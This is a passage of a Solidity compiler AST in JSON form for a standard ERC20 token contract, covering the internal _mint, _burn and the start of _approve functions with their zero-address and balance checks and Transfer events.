uint256)"}},"id":47655,"indexExpression":{"id":47654,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47625,"src":"8655:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"8645:18:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"id":47656,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47627,"src":"8667:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8645:28:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":47658,"nodeType":"ExpressionStatement","src":"8645:28:30"},{"eventCall":{"arguments":[{"arguments":[{"hexValue":"30","id":47662,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8705:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47661,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8697:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47660,"name":"address","nodeType":"ElementaryTypeName","src":"8697:7:30","typeDescriptions":{}}},"id":47663,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8697:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47664,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47625,"src":"8709:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47665,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47627,"src":"8718:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47659,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47873,"src":"8688:8:30","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8688:37:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47667,"nodeType":"EmitStatement","src":"8683:42:30"},{"expression":{"arguments":[{"arguments":[{"hexValue":"30","id":47671,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8764:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47670,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8756:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47669,"name":"address","nodeType":"ElementaryTypeName","src":"8756:7:30","typeDescriptions":{}}},"id":47672,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8756:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47673,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47625,"src":"8768:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47674,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47627,"src":"8777:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47668,"name":"_afterTokenTransfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47860,"src":"8736:19:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47675,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8736:48:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47676,"nodeType":"ExpressionStatement","src":"8736:48:30"}]},"documentation":{"id":47623,"nodeType":"StructuredDocumentation","src":"8132:265:30","text":"@dev Creates `amount` tokens and assigns them to `account`, increasing\n the total supply.\n Emits a {Transfer} event with `from` set to the zero address.\n Requirements:\n - `account` cannot be the zero address."},"implemented":true,"kind":"function","modifiers":[],"name":"_mint","nameLocation":"8411:5:30","parameters":{"id":47628,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47625,"mutability":"mutable","name":"account","nameLocation":"8425:7:30","nodeType":"VariableDeclaration","scope":47678,"src":"8417:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47624,"name":"address","nodeType":"ElementaryTypeName","src":"8417:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47627,"mutability":"mutable","name":"amount","nameLocation":"8442:6:30","nodeType":"VariableDeclaration","scope":47678,"src":"8434:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47626,"name":"uint256","nodeType":"ElementaryTypeName","src":"8434:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8416:33:30"},"returnParameters":{"id":47629,"nodeType":"ParameterList","parameters":[],"src":"8467:0:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":47750,"nodeType":"FunctionDefinition","src":"9111:576:30","nodes":[],"body":{"id":47749,"nodeType":"Block","src":"9176:511:30","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":47692,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47687,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47681,"src":"9194:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":47690,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9213:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47689,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9205:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47688,"name":"address","nodeType":"ElementaryTypeName","src":"9205:7:30","typeDescriptions":{}}},"id":47691,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9205:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"9194:21:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a206275726e2066726f6d20746865207a65726f2061646472657373","id":47693,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9217:35:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_b16788493b576042bb52c50ed56189e0b250db113c7bfb1c3897d25cf9632d7f","typeString":"literal_string \"ERC20: burn from the zero address\""},"value":"ERC20: burn from the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_b16788493b576042bb52c50ed56189e0b250db113c7bfb1c3897d25cf9632d7f","typeString":"literal_string \"ERC20: burn from the zero address\""}],"id":47686,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"9186:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47694,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9186:67:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47695,"nodeType":"ExpressionStatement","src":"9186:67:30"},{"expression":{"arguments":[{"id":47697,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47681,"src":"9285:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":47700,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9302:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47699,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9294:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47698,"name":"address","nodeType":"ElementaryTypeName","src":"9294:7:30","typeDescriptions":{}}},"id":47701,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9294:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47702,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47683,"src":"9306:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47696,"name":"_beforeTokenTransfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47849,"src":"9264:20:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47703,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9264:49:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47704,"nodeType":"ExpressionStatement","src":"9264:49:30"},{"assignments":[47706],"declarations":[{"constant":false,"id":47706,"mutability":"mutable","name":"accountBalance","nameLocation":"9332:14:30","nodeType":"VariableDeclaration","scope":47749,"src":"9324:22:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47705,"name":"uint256","nodeType":"ElementaryTypeName","src":"9324:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":47710,"initialValue":{"baseExpression":{"id":47707,"name":"_balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47291,"src":"9349:9:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":47709,"indexExpression":{"id":47708,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47681,"src":"9359:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"9349:18:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"9324:43:30"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47714,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47712,"name":"accountBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47706,"src":"9385:14:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":47713,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47683,"src":"9403:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9385:24:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a206275726e20616d6f756e7420657863656564732062616c616e6365","id":47715,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9411:36:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_149b126e7125232b4200af45303d04fba8b74653b1a295a6a561a528c33fefdd","typeString":"literal_string \"ERC20: burn amount exceeds balance\""},"value":"ERC20: burn amount exceeds balance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_149b126e7125232b4200af45303d04fba8b74653b1a295a6a561a528c33fefdd","typeString":"literal_string \"ERC20: burn amount exceeds balance\""}],"id":47711,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"9377:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47716,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9377:71:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47717,"nodeType":"ExpressionStatement","src":"9377:71:30"},{"id":47726,"nodeType":"UncheckedBlock","src":"9458:79:30","statements":[{"expression":{"id":47724,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":47718,"name":"_balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47291,"src":"9482:9:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":47720,"indexExpression":{"id":47719,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47681,"src":"9492:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"9482:18:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47723,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47721,"name":"accountBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47706,"src":"9503:14:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":47722,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47683,"src":"9520:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9503:23:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9482:44:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":47725,"nodeType":"ExpressionStatement","src":"9482:44:30"}]},{"expression":{"id":47729,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":47727,"name":"_totalSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47299,"src":"9546:12:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"id":47728,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47683,"src":"9562:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9546:22:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":47730,"nodeType":"ExpressionStatement","src":"9546:22:30"},{"eventCall":{"arguments":[{"id":47732,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47681,"src":"9593:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":47735,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9610:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47734,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9602:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47733,"name":"address","nodeType":"ElementaryTypeName","src":"9602:7:30","typeDescriptions":{}}},"id":47736,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9602:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47737,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47683,"src":"9614:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47731,"name":"Transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47873,"src":"9584:8:30","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47738,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9584:37:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47739,"nodeType":"EmitStatement","src":"9579:42:30"},{"expression":{"arguments":[{"id":47741,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47681,"src":"9652:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":47744,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"9669:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47743,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9661:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47742,"name":"address","nodeType":"ElementaryTypeName","src":"9661:7:30","typeDescriptions":{}}},"id":47745,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9661:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":47746,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47683,"src":"9673:6:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":47740,"name":"_afterTokenTransfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47860,"src":"9632:19:30","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":47747,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9632:48:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47748,"nodeType":"ExpressionStatement","src":"9632:48:30"}]},"documentation":{"id":47679,"nodeType":"StructuredDocumentation","src":"8797:309:30","text":" @dev Destroys `amount` tokens from `account`, reducing the\n total supply.\n Emits a {Transfer} event with `to` set to the zero address.\n Requirements:\n - `account` cannot be the zero address.\n - `account` must have at least `amount` tokens."},"implemented":true,"kind":"function","modifiers":[],"name":"_burn","nameLocation":"9120:5:30","parameters":{"id":47684,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47681,"mutability":"mutable","name":"account","nameLocation":"9134:7:30","nodeType":"VariableDeclaration","scope":47750,"src":"9126:15:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47680,"name":"address","nodeType":"ElementaryTypeName","src":"9126:7:30","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":47683,"mutability":"mutable","name":"amount","nameLocation":"9151:6:30","nodeType":"VariableDeclaration","scope":47750,"src":"9143:14:30","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47682,"name":"uint256","nodeType":"ElementaryTypeName","src":"9143:7:30","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9125:33:30"},"returnParameters":{"id":47685,"nodeType":"ParameterList","parameters":[],"src":"9176:0:30"},"scope":47861,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":47795,"nodeType":"FunctionDefinition","src":"10110:370:30","nodes":[],"body":{"id":47794,"nodeType":"Block","src":"10223:257:30","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":47766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47761,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47753,"src":"10241:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":47764,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10258:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47763,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10250:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47762,"name":"address","nodeType":"ElementaryTypeName","src":"10250:7:30","typeDescriptions":{}}},"id":47765,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10250:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10241:19:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373","id":47767,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10262:38:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_c953f4879035ed60e766b34720f656aab5c697b141d924c283124ecedb91c208","typeString":"literal_string \"ERC20: approve from the zero address\""},"value":"ERC20: approve from the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_c953f4879035ed60e766b34720f656aab5c697b141d924c283124ecedb91c208","typeString":"literal_string \"ERC20: approve from the zero address\""}],"id":47760,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"10233:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10233:68:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47769,"nodeType":"ExpressionStatement","src":"10233:68:30"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":47776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":47771,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47755,"src":"10319:7:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":47774,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10338:1:30","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":47773,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10330:7:30","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47772,"name":"address","nodeType":"ElementaryTypeName","src":"10330:7:30","typeDescriptions":{}}},"id":47775,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10330:10:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10319:21:30","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"45524332303a20617070726f766520746f20746865207a65726f2061646472657373","id":47777,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"10342:36:30","typeDescriptions":{"typeIdentifier":"t_stringliteral_24883cc5fe64ace9d0df1893501ecb93c77180f0ff69cca79affb3c316dc8029","typeString":"literal_string \"ERC20: approve to the zero address\""},"value":"ERC20: approve to the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_24883cc5fe64ace9d0df1893501ecb93c77180f0ff69cca79affb3c316dc8029","typeString":"literal_string \"ERC20: approve to the zero address\""}],"id":47770,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"10311:7:30","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47778,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10311:68:30","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47779,"nodeType":"ExpressionStatement","src":"10311:68:30"},{"expression":{"id":47786,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":47780,"name":"_allowances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47297,"src":"10390:11:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":47783,"indexExpression":{"id":47781,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47753,"src":"10402:5:30","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"10390:18:30","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => 